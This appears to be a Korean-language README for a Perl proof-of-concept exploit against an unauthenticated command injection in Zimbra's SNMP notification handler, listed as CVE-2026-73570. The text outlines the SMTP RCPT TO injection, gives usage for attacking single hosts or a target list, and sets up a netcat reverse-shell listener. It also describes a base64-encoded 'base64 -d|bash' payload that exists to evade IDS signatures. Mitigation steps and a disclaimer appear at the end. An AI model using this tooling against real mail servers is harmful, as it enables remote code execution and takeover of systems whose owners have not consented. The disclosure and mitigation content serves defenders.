
Zimbra SNMP 알림 OS 명령 주입 — SMTP 익스플로잇을 통한 인증 없는 RCE (PoC)
Zimbra Collaboration Suite SNMP 알림 핸들러의 OS 명령 주입을 통한 비인증 원격 코드 실행.
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-73570 |
| CVSS 3.1 | 8.9 HIGH — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L |
| CWE | CWE-78 — OS 명령에 사용되는 특수 요소의 부적절한 중화 |
| 영향 받는 버전 | Zimbra ZCS < 10.1.20 (zimbra-snmp 설치된 경우) |
| 수정 버전 | ZCS 10.1.20 — 2026년 7월 |
| CISA KEV | 2026-08-21 추가 (FCEB 조치 기한: 2026-08-24) |
| 인증 필요 | 없음 |
| 실행 권한 | zimbra OS 사용자 |
선택적 zimbra-snmp 패키지에는 /var/log/zimbra.log에서 다음 패턴과 일치하는 줄을 추적하는 swatchdog 규칙이 포함되어 있습니다:
Service status change: <NAME> changed from <STATE> to <STATE>
일치 항목이 발견되면 swatchdog는 캡처된 <NAME> 필드를 어떠한 정제도 없이 SNMP 알림 셸 스크립트에 직접 전달합니다.
인증되지 않은 공격자는 특수하게 구성된 SMTP RCPT TO 명령을 전송하여 조작된 로그 항목을 주입할 수 있습니다. RFC 5321 따옴표로 묶인 로컬 파트(quoted local-part) 를 사용하면 셸 메타문자(예: $(...))가 <NAME> 내부에 삽입되어 swatchdog가 결과 로그 라인을 처리할 때 실행됩니다.
취약점이 악용 가능하려면 대상에서 세 가지 조건이 모두 충족되어야 합니다:
zimbra-snmp 패키지가 설치되어 있음snmp_notify = true)swatchdog 서비스가 실행 중임Attacker Zimbra MTA
│ │
│── TCP connect :25/:465/:587 ────►│
│── EHLO mx-test.invalid ─────────►│
│── MAIL FROM:<scanner@...> ──────►│
│── RCPT TO:<"x: Service status │
│ change: localhost $(CMD) │
│ changed from stopped to │
│ running"@cve.invalid> ──────►│
│ │── logs RCPT TO data ──► /var/log/zimbra.log
│ │ │
│ │ swatchdog matches
│ │ pattern, extracts
│ │ $(CMD), executes
│◄─────────── shell callback ───────────────────────────────────────┘
RCPT TO를 포함한 표준 SMTP 대화를 전송합니다.swatchdog가 로그 패턴을 일치시키고 주입된 $(CMD)를 추출합니다.zimbra OS 사용자 권한으로 CMD를 실행합니다.cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5
또는 apt-get을 통해
apt-get install libio-socket-ssl-perl libmime-base64-perl libdigest-hmac-perl
또는 yum을 통해
yum install perl-IO-Socket-SSL perl-MIME-Base64 perl-Digest-HMAC
perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444
perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444
targets.txt — 한 줄에 호스트 하나, 선택적 :port, #으로 시작하는 줄은 무시됩니다:
mail.example.com
mail.example.com:25
10.0.0.50:587
# ignored comment
| 플래그 | 긴 옵션 | 기본값 | 설명 |
|---|---|---|---|
-H | --host | — | 단일 대상 호스트명 또는 IP |
-f | --file | — | 대상 목록이 포함된 파일 |
-p | --port | 587 | 기본 SMTP 포트 |
-r | --rhost | — | 리버스 셸 콜백용 IP |
-R | --rport | 4444 | 리스너 포트 |
-t | --timeout | 15 | 소켓 타임아웃(초) |
-S | --ssl | 꺼짐 | 직접 TLS (포트 465에서 자동 활성화) |
-v | --verbose | 꺼짐 | 전체 SMTP 대화 출력 |
-L | --logfile | — | 세션 로그를 파일에 기록 |
-h | --help | — | 도움말 표시 |
# Terminal 1 — start listener
nc -lvnp 4444
# Terminal 2 — run exploit
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v
리버스 셸 명령은 주입 전에 base64로 인코딩됩니다:
echo <b64>|base64 -d|bash
이로 인해 IDS/IPS가 /dev/tcp, bash -i, nc -e와 같은 평문 시그니처를 매칭하지 못하게 됩니다. 인코딩된 블롭은 RCPT TO의 인용된 local-part 내부에 $(...) 형태로 주입되어, swatchdog가 로그 항목을 처리할 때 서버 측에서 실행을 트리거합니다.
| 조치 | 세부 내용 |
|---|---|
| 패치 | Zimbra ZCS ≥ 10.1.20으로 업그레이드 |
| SNMP notify 비활성화 | zmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart |
| 패키지 제거 | apt remove zimbra-snmp / yum remove zimbra-snmp |
| 네트워크 제어 | 운영상 가능한 경우 인바운드 SMTP(25/465/587)를 신뢰할 수 있는 릴레이로 제한 |
이 proof-of-concept는 승인된 보안 테스트, 학술 연구, 그리고 방어 목적으로만 공개됩니다.
소유하지 않았거나 명시적인 서면 허가 없이 테스트할 권한이 없는 시스템에 대해 실행하는 것은 불법입니다.
저자는 이 도구로 인해 발생하는 어떠한 오용이나 손해에 대해서도 책임을 지지 않습니다.